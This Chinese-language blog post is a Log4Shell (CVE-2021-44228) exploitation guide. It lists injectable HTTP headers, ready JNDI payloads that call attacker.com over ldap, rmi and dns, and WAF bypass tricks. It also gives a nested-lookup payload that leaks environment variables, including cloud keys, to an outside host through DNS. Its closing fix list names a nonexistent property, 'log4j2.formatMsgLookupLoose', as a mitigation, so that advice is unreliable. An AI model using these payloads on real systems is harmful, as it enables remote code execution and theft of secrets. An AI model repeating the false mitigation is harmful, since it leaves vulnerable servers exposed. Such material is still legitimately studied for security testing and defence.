- Published on
2025 Log4Shell 利用指南
- Authors

- Name
- 骨哥
Log4Shell 漏洞概述
Log4Shell(CVE-2021-44228)是 Apache Log4j 2 中存在的一个严重漏洞,允许攻击者通过特制的日志消息实现远程代码执行(RCE)。
核心问题
核心问题在于 Log4J 对日志消息中 JNDI(Java 命名和目录接口)查找的处理。
当 Log4J 遇到包含 JNDI 查找语法的特制字符串时,它会自动尝试通过连接到外部服务器并从远程位置加载Java类来解析引用。
无论日志级别配置如何,这种行为都会发生,这意味着如果用户控制的数据到达日志框架,即使只记录 ERROR 或 FATAL 消息的应用程序也会受到攻击。
Log4Shell 的工作原理
漏洞利用 Log4J 以 ${protocol:address} 格式自动替换查找表达式,当 Log4J 处理包含恶意 JNDI 查找(如 ${jndi:ldap://intigriti-example/xyz})的日志消息时,将发生以下序列:
**日志消息处理 :**应用程序记录了一条包含恶意字符串的消息,无论是直接记录还是通过用户控制的输入记录
**查找解析 :**Log4J 的 PatternLayout 识别
${}语法并触发查找机制**JNDI 连接 :**JNDI 子系统与查找字符串中指定的攻击者控制的服务器建立连接
**类加载 :**远程服务器对 Java 类的引用进行响应,Log4J 会自动下载该类并将其加载到应用程序的内存空间中
**代码执行 :**恶意类在易受攻击的应用程序的上下文中执行,授予攻击者与应用程序进程相同的权限

提示: JNDI 攻击早在 Log4Shell 攻击之前就已经存在,2016 年,研究人员 Alvaro Muñoz 和 Oleksandr Mirosh 在 BlackHat 的一次演讲中描述了 Log4Shell 的根本原因。
识别易受攻击的Log4J 目标
在我们主动发送任何 Log4Shell Payloads之前,我们需要查找基于 Java 的应用程序的指标。
搜索服务器响应标头,如 Apache-Coyote、Jetty 或其他自定义 Java 应用程序服务器 ,检查正在访问的应用程序路由的文件扩展名。
偶尔会发现 HTML 注释中包含对 Spring、Struts 或 JSF 等 Java 框架的引用,而这些框架通常都包含 Log4J,此外还可以使用 BuiltWith 和 Wappalyzer 等工具对网站技术进行指纹识别,不过这种方法也有其局限性。
一旦成功枚举出可能的目标,我们就需要寻找经常使用易受攻击软件记录日志的应用程序组件,任何记录用户可控数据的应用程序功能都是潜在的注入点,例如:
- 记录用户名和失败登录尝试的身份验证端点
- 分析服务记录user agents、referrer headers和请求参数
- 请求正文、标头和其它元数据的 API 端点
- 文件上传功能记录处理错误,包括文件名、文件大小和其他可能的文件元数据
- 错误处理中间件,记录异常详细信息(包括导致异常的用户输入)
- 记录系统事件的审计和合规性服务
之后,便可以在 HTTP 请求中更有可能被记录和处理的任何组件中发送Payloads,以下是一些可以尝试的请求header:
User-Agent
Referer
X-Original-URL
X-Host
X-Forwarded-For
X-Forwarded-Proto
X-Forwarded-Host
CF-Connecting-Ip # If target is behind Cloudflare
Payloads
以下是一些已知的 Log4Shell Payloads:
${jndi:ldap://attacker.com/a}
${jndi:rmi://attacker.com/a}
${jndi:dns://attacker.com/a}
绕过技术
绕过 WAF
某些 WAF 可能无法检测到所有变体。以下是一些绕过技术:
- 使用不同的协议(ldap、rmi、dns)
- 使用编码(UTF-8、URL 编码)
- 使用大小写混合(jNdI、JNDI)
嵌套 JNDI 查找
这种方法可能有助于绕过负载均衡或其它类型的反向代理服务器后面的易受攻击的应用程序。
通过嵌套的 JNDI 查找泄露数据
假设我们收到了一个 pingback,但无法将 Java 类与不良代码包含在一起,在这种情况下,可以尝试通过外向连接泄露敏感数据。
因此需要调整Payloads并使用内部 JNDI 查找,内部 JNDI 查找总是首先解析,可以利用它来读取环境或系统变量。
以下是使用嵌套 JNDI 查找的基本示例:
${jndi:dns://${env:HOST}.intigriti-example/}
Log4J 将首先解析内部 JNDI 查找:${env:HOST},此查找将获取 HOST 环境变量并将其添加到外部 JNDI 查找中,在这种情况下,它将作为 intigriti-example 的子域名添加。
接下来,Log4J 将解析对 <$HOST>.intigriti-example 进行 DNS 查询的最终查找,OAST 服务器将接收到此请求,从而能够读取 HOST 环境变量。
以下是一个所有可能查找类型的列表(根据环境而定):
${env:VARIABLE_NAME} # Gets environment variables (HOST, PATH, HOME, AWS keys, etc.)
${sys:property.name} # Gets Java system properties (user.name, java.version, etc.)
${ctx:key} # Gets values from Thread Context Map (MDC)
${map:key} # Gets values from event's context map
${hostName} # Gets the local hostname
${docker:containerId} # Gets Docker container ID (if running in a container)
${docker:containerName} # Gets Docker container name
${docker:imageName} # Gets Docker image name
漏洞利用示例
以下是完整的漏洞利用流程:
- 攻击者发送包含恶意 JNDI 查找的请求
- Log4J 解析 JNDI 查找并连接至攻击者控制的服务器
- 攻击者返回恶意 Java 类
- Log4J 加载并执行恶意类
- 攻击者获得对应用程序的完全控制
修复建议
- 升级 Log4j 至最新版本(2.17.0 或更高)
- 在 WAF 上添加规则阻止包含
${jndi:的请求 - 禁用 JNDI 查找功能
- 设置系统属性
log4j2.formatMsgLookupLoose为 true - 配置防火墙阻止对外部 LDAP/RMI 服务器的连接